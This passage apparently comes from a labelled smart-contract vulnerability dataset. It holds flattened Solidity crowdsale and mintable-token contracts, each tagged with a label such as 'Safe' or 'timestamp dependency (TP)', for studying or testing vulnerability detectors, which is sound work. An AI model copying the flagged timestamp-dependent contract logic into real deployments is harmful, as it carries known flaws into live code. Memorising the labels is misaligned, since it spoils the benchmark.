Modified allowing execution only if the crowdsale is currently running. */ modifier inState(State state) { if(getState() != state) throw; _; } // // Abstract functions // /** * Check if the current invested breaks our cap rules. * * * The child contract must define their own cap setting rules. * We allow a lot of flexibility through different capping strategies (ETH, token count) * Called from invest(). * * @param weiAmount The amount of wei the investor tries to invest in the current transaction * @param tokenAmount The amount of tokens we try to give to the investor in the current transaction * @param weiRaisedTotal What would be our total raised balance after this transaction * @param tokensSoldTotal What would be our total sold tokens count after this transaction * * @return true if taking this investment would break our cap rules */ function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); /** * Check if the current crowdsale is full and we can no longer sell any tokens. */ function isCrowdsaleFull() public constant returns (bool); /** * Create new tokens or transfer issued tokens to the investor depending on the cap model. */ function assignTokens(address receiver, uint tokenAmount) private; } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Standard ERC20 token with Short Hand Attack and approve() race condition mitigation. * * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, SafeMath { /* Token supply got increased and a new owner received these tokens */ event Minted(address receiver, uint amount); /* Actual balances of token holders */ mapping(address => uint) balances; /* approve() allowances */ mapping (address => mapping (address => uint)) allowed; /* Interface declaration */ function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * A token that can increase its supply by another contract. * * This allows uncapped crowdsale by dynamically increasing the supply when money pours in. * Only mint agents, contracts whitelisted by owner, can mint new tokens. * */ contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; /** List of agents that are allowed to create new tokens */ mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); /** inPercentageUnit is percents of tokens multiplied to 10 up to percents decimals. * For example, for reserved tokens in percents 2.54% * inPercentageUnit = 254 * inPercentageDecimals = 2 */ struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { // Only crowdsale contracts are allowed to mint new tokens if(!mintAgents[msg.sender]) { throw; } _; } /** Make sure we are not done yet. */ modifier canMint() { if(mintingFinished) throw; _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public constant returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public constant returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); } } reservedTokensDestinationsAreSet = true; } /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); // This will make the mint transaction apper in EtherScan.io // We can remove this after there is a standardized minting event Transfer(0, receiver, amount); } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { assert(addr != address(0)); if (!isAddressReserved(addr)) { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; } reservedTokensList[addr] = ReservedTokensData({ inTokens: inTokens, inPercentageUnit: inPercentageUnit, inPercentageDecimals: inPercentageDecimals, isReserved: true, isDistributed: false }); } } /** * ICO crowdsale contract that is capped by amout of tokens. * * - Tokens are dynamically created during the crowdsale * * */ contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt { /* Maximum amount of tokens this crowdsale can sell. */ uint public maximumSellableTokens; function MintedTokenCappedCrowdsaleExt( string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens, bool _isUpdatable, bool _isWhiteListed ) CrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) { maximumSellableTokens = _maximumSellableTokens; } // Crowdsale maximumSellableTokens has been changed event MaximumSellableTokensChanged(uint newMaximumSellableTokens); /** * Called from invest() to confirm if the curret investment does not break our cap rule. */ function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken) { return tokensSoldTotal > maximumSellableTokens; } function isBreakingInvestorCap(address addr, uint tokenAmount) public constant returns (bool limitBroken) { assert(isWhiteListed); uint maxCap = earlyParticipantWhitelist[addr].maxCap; return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap; } function isCrowdsaleFull() public constant returns (bool) { return tokensSold >= maximumSellableTokens; } function setMaximumSellableTokens(uint tokens) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); assert(!lastTierCntrct.finalized()); maximumSellableTokens = tokens; MaximumSellableTokensChanged(maximumSellableTokens); } function updateRate(uint newOneTokenInWei) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); assert(!lastTierCntrct.finalized()); pricingStrategy.updateRate(newOneTokenInWei); } /** * Dynamically create tokens and assign them to the investor. */ function assignTokens(address receiver, uint tokenAmount) private { MintableTokenExt mintableToken = MintableTokenExt(token); mintableToken.mint(receiver, tokenAmount); } }",Safe,8,8 10022.sol," pragma solidity ^0.4.11; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) throw; _; } modifier stopNonOwnersInEmergency { if (halted && msg.sender != owner) throw; _; } modifier onlyInEmergency { if (!halted) throw; _; } function halt() external onlyOwner { halted = true; } function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract PricingStrategy { address public tier; function isPricingStrategy() public constant returns (bool) { return true; } function isSane(address crowdsale) public constant returns (bool) { return true; } function isPresalePurchase(address purchaser) public constant returns (bool) { return false; } function updateRate(uint newOneTokenInWei) public; function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } contract FinalizeAgent { bool public reservedTokensAreDistributed = false; function isFinalizeAgent() public constant returns(bool) { return true; } function isSane() public constant returns (bool); function distributeReservedTokens(uint reservedTokensDistributionBatch); function finalizeCrowdsale(); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract FractionalERC20Ext is ERC20 { uint public decimals; uint public minCap; } contract CrowdsaleExt is Haltable { uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; using SafeMathLibExt for uint; FractionalERC20Ext public token; PricingStrategy public pricingStrategy; FinalizeAgent public finalizeAgent; string public name; address public multisigWallet; uint public minimumFundingGoal; uint public startsAt; uint public endsAt; uint public tokensSold = 0; uint public weiRaised = 0; uint public investorCount = 0; bool public finalized; bool public isWhiteListed; address[] public joinedCrowdsales; uint8 public joinedCrowdsalesLen = 0; uint8 public joinedCrowdsalesLenMax = 50; struct JoinedCrowdsaleStatus { bool isJoined; uint8 position; } mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; mapping (address => uint256) public investedAmountOf; mapping (address => uint256) public tokenAmountOf; struct WhiteListData { bool status; uint minCap; uint maxCap; } bool public isUpdatable; mapping (address => WhiteListData) public earlyParticipantWhitelist; address[] public whitelistedParticipants; uint public ownerTestValue; enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); event Whitelisted(address addr, bool status, uint minCap, uint maxCap); event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); event StartsAtChanged(uint newStartsAt); event EndsAtChanged(uint newEndsAt); function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { owner = msg.sender; name = _name; token = FractionalERC20Ext(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; if(multisigWallet == 0) { throw; } if(_start == 0) { throw; } startsAt = _start; if(_end == 0) { throw; } endsAt = _end; if(startsAt >= endsAt) { throw; } minimumFundingGoal = _minimumFundingGoal; isUpdatable = _isUpdatable; isWhiteListed = _isWhiteListed; } function() payable { throw; } function investInternal(address receiver, uint128 customerId) stopInEmergency private { if(getState() == State.PreFunding) { throw; } else if(getState() == State.Funding) { if(isWhiteListed) { if(!earlyParticipantWhitelist[receiver].status) { throw; } } } else { throw; } uint weiAmount = msg.value; uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); if(tokenAmount == 0) { throw; } if(isWhiteListed) { if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { throw; } if (isBreakingInvestorCap(receiver, tokenAmount)) { throw; } updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); } else { if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { throw; } } if(investedAmountOf[receiver] == 0) { investorCount++; } investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { throw; } assignTokens(receiver, tokenAmount); if(!multisigWallet.send(weiAmount)) throw; Invested(receiver, weiAmount, tokenAmount, customerId); } function invest(address addr) public payable { investInternal(addr, 0); } function buy() public payable { invest(msg.sender); } function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != address(0)) { finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); } } function areReservedTokensDistributed() public constant returns (bool) { return finalizeAgent.reservedTokensAreDistributed(); } function canDistributeReservedTokens() public constant returns(bool) { CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; return false; } function finalize() public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != address(0)) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { assert(address(addr) != address(0)); assert(address(finalizeAgent) == address(0)); finalizeAgent = addr; if(!finalizeAgent.isFinalizeAgent()) { throw; } } function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { if (!isWhiteListed) throw; assert(addr != address(0)); assert(maxCap > 0); assert(minCap <= maxCap); assert(now <= endsAt); if (!isAddressWhitelisted(addr)) { whitelistedParticipants.push(addr); Whitelisted(addr, status, minCap, maxCap); } else { WhitelistItemChanged(addr, status, minCap, maxCap); } earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); } function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { if (!isWhiteListed) throw; assert(now <= endsAt); assert(addrs.length == statuses.length); assert(statuses.length == minCaps.length); assert(minCaps.length == maxCaps.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); } } function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { if (!isWhiteListed) throw; if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); } } function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { if (!isWhiteListed) throw; assert(addr != address(0)); assert(now <= endsAt); assert(isTierJoined(msg.sender)); if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; newMaxCap = newMaxCap.minus(tokensBought); earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); } function isAddressWhitelisted(address addr) public constant returns(bool) { for (uint i = 0; i < whitelistedParticipants.length; i++) { if (whitelistedParticipants[i] == addr) { return true; break; } } return false; } function whitelistedParticipantsLength() public constant returns (uint) { return whitelistedParticipants.length; } function isTierJoined(address addr) public constant returns(bool) { return joinedCrowdsaleState[addr].isJoined; } function getTierPosition(address addr) public constant returns(uint8) { return joinedCrowdsaleState[addr].position; } function getLastTier() public constant returns(address) { if (joinedCrowdsalesLen > 0) return joinedCrowdsales[joinedCrowdsalesLen - 1]; else return address(0); } function setJoinedCrowdsales(address addr) private onlyOwner { assert(addr != address(0)); assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); assert(!isTierJoined(addr)); joinedCrowdsales.push(addr); joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ isJoined: true, position: joinedCrowdsalesLen }); joinedCrowdsalesLen++; } function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { assert(addrs.length > 0); assert(joinedCrowdsalesLen == 0); assert(addrs.length <= joinedCrowdsalesLenMax); for (uint8 iter = 0; iter < addrs.length; iter++) { setJoinedCrowdsales(addrs[iter]); } } function setStartsAt(uint time) onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time); assert(time <= endsAt); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = 0; j < tierPosition; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time >= crowdsale.endsAt()); } startsAt = time; StartsAtChanged(startsAt); } function setEndsAt(uint time) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time); assert(startsAt <= time); assert(now <= endsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time <= crowdsale.startsAt()); } endsAt = time; EndsAtChanged(endsAt); } function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { assert(address(_pricingStrategy) != address(0)); assert(address(pricingStrategy) == address(0)); pricingStrategy = _pricingStrategy; if(!pricingStrategy.isPricingStrategy()) { throw; } } function setMultisig(address addr) public onlyOwner { if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { throw; } multisigWallet = addr; } function isMinimumGoalReached() public constant returns (bool reached) { return weiRaised >= minimumFundingGoal; } function isFinalizerSane() public constant returns (bool sane) { return finalizeAgent.isSane(); } function isPricingSane() public constant returns (bool sane) { return pricingStrategy.isSane(address(this)); } function getState() public constant returns (State) { if(finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane(address(this))) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else return State.Failure; } function isCrowdsale() public constant returns (bool) { return true; } modifier inState(State state) { if(getState() != state) throw; _; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); function isCrowdsaleFull() public constant returns (bool); function assignTokens(address receiver, uint tokenAmount) private; } contract StandardToken is ERC20, SafeMath { event Minted(address receiver, uint amount); mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract UpgradeAgent { uint public originalSupply; function isUpgradeAgent() public constant returns (bool) { return true; } function upgradeFrom(address _from, uint256 _value) public; } contract UpgradeableToken is StandardToken { address public upgradeMaster; UpgradeAgent public upgradeAgent; uint256 public totalUpgraded; enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} event Upgrade(address indexed _from, address indexed _to, uint256 _value); event UpgradeAgentSet(address agent); function UpgradeableToken(address _upgradeMaster) { upgradeMaster = _upgradeMaster; } function upgrade(uint256 value) public { UpgradeState state = getUpgradeState(); if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { throw; } if (value == 0) throw; balances[msg.sender] = safeSub(balances[msg.sender], value); totalSupply = safeSub(totalSupply, value); totalUpgraded = safeAdd(totalUpgraded, value); upgradeAgent.upgradeFrom(msg.sender, value); Upgrade(msg.sender, upgradeAgent, value); } function setUpgradeAgent(address agent) external { if(!canUpgrade()) { throw; } if (agent == 0x0) throw; if (msg.sender != upgradeMaster) throw; if (getUpgradeState() == UpgradeState.Upgrading) throw; upgradeAgent = UpgradeAgent(agent); if(!upgradeAgent.isUpgradeAgent()) throw; if (upgradeAgent.originalSupply() != totalSupply) throw; UpgradeAgentSet(upgradeAgent); } function getUpgradeState() public constant returns(UpgradeState) { if(!canUpgrade()) return UpgradeState.NotAllowed; else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } function setUpgradeMaster(address master) public { if (master == 0x0) throw; if (msg.sender != upgradeMaster) throw; upgradeMaster = master; } function canUpgrade() public constant returns(bool) { return true; } } contract ReleasableToken is ERC20, Ownable { address public releaseAgent; bool public released = false; mapping (address => bool) public transferAgents; modifier canTransfer(address _sender) { if(!released) { if(!transferAgents[_sender]) { throw; } } _; } function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { releaseAgent = addr; } function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { transferAgents[addr] = state; } function releaseTokenTransfer() public onlyReleaseAgent { released = true; } modifier inReleaseState(bool releaseState) { if(releaseState != released) { throw; } _; } modifier onlyReleaseAgent() { if(msg.sender != releaseAgent) { throw; } _; } function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { return super.transferFrom(_from, _to, _value); } } contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { if(!mintAgents[msg.sender]) { throw; } _; } modifier canMint() { if(mintingFinished) throw; _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public constant returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public constant returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); } } reservedTokensDestinationsAreSet = true; } function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); Transfer(0, receiver, amount); } function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { assert(addr != address(0)); if (!isAddressReserved(addr)) { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; } reservedTokensList[addr] = ReservedTokensData({ inTokens: inTokens, inPercentageUnit: inPercentageUnit, inPercentageDecimals: inPercentageDecimals, isReserved: true, isDistributed: false }); } } contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken { event UpdatedTokenInformation(string newName, string newSymbol); event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); string public name; string public symbol; uint public decimals; uint public minCap; function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap) UpgradeableToken(msg.sender) { owner = msg.sender; name = _name; symbol = _symbol; totalSupply = _initialSupply; decimals = _decimals; minCap = _globalMinCap; balances[owner] = totalSupply; if(totalSupply > 0) { Minted(owner, totalSupply); } if(!_mintable) { mintingFinished = true; if(totalSupply == 0) { throw; } } } function releaseTokenTransfer() public onlyReleaseAgent { mintingFinished = true; super.releaseTokenTransfer(); } function canUpgrade() public constant returns(bool) { return released && super.canUpgrade(); } function setTokenInformation(string _name, string _symbol) onlyOwner { name = _name; symbol = _symbol; UpdatedTokenInformation(name, symbol); } function claimTokens(address _token) public onlyOwner { require(_token != address(0)); ERC20 token = ERC20(_token); uint balance = token.balanceOf(this); token.transfer(owner, balance); ClaimedTokens(_token, owner, balance); } } contract ReservedTokensFinalizeAgent is FinalizeAgent { using SafeMathLibExt for uint; CrowdsaleTokenExt public token; CrowdsaleExt public crowdsale; uint public distributedReservedTokensDestinationsLen = 0; function ReservedTokensFinalizeAgent(CrowdsaleTokenExt _token, CrowdsaleExt _crowdsale) public { token = _token; crowdsale = _crowdsale; } function isSane() public constant returns (bool) { return (token.releaseAgent() == address(this)); } function distributeReservedTokens(uint reservedTokensDistributionBatch) public { assert(msg.sender == address(crowdsale)); assert(reservedTokensDistributionBatch > 0); assert(!reservedTokensAreDistributed); assert(distributedReservedTokensDestinationsLen < token.reservedTokensDestinationsLen()); uint tokensSold = 0; for (uint8 i = 0; i < crowdsale.joinedCrowdsalesLen(); i++) { CrowdsaleExt tier = CrowdsaleExt(crowdsale.joinedCrowdsales(i)); tokensSold = tokensSold.plus(tier.tokensSold()); } uint startLooping = distributedReservedTokensDestinationsLen; uint batch = token.reservedTokensDestinationsLen().minus(distributedReservedTokensDestinationsLen); if (batch >= reservedTokensDistributionBatch) { batch = reservedTokensDistributionBatch; } uint endLooping = startLooping + batch; for (uint j = startLooping; j < endLooping; j++) { address reservedAddr = token.reservedTokensDestinations(j); if (!token.areTokensDistributedForAddress(reservedAddr)) { uint allocatedBonusInPercentage; uint allocatedBonusInTokens = token.getReservedTokens(reservedAddr); uint percentsOfTokensUnit = token.getReservedPercentageUnit(reservedAddr); uint percentsOfTokensDecimals = token.getReservedPercentageDecimals(reservedAddr); if (percentsOfTokensUnit > 0) { allocatedBonusInPercentage = tokensSold * percentsOfTokensUnit / 10**percentsOfTokensDecimals / 100; token.mint(reservedAddr, allocatedBonusInPercentage); } if (allocatedBonusInTokens > 0) { token.mint(reservedAddr, allocatedBonusInTokens); } token.finalizeReservedAddress(reservedAddr); distributedReservedTokensDestinationsLen++; } } if (distributedReservedTokensDestinationsLen == token.reservedTokensDestinationsLen()) { reservedTokensAreDistributed = true; } } function finalizeCrowdsale() public { assert(msg.sender == address(crowdsale)); if (token.reservedTokensDestinationsLen() > 0) { assert(reservedTokensAreDistributed); } token.releaseTokenTransfer(); } }",./Dataset/timestamp dependency (TP)/,6,6 33728.sol,"pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ReadOnlyToken { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function allowance(address owner, address spender) public constant returns (uint256); } contract Upgradeable { address public target; event EventUpgrade(address target, address admin); 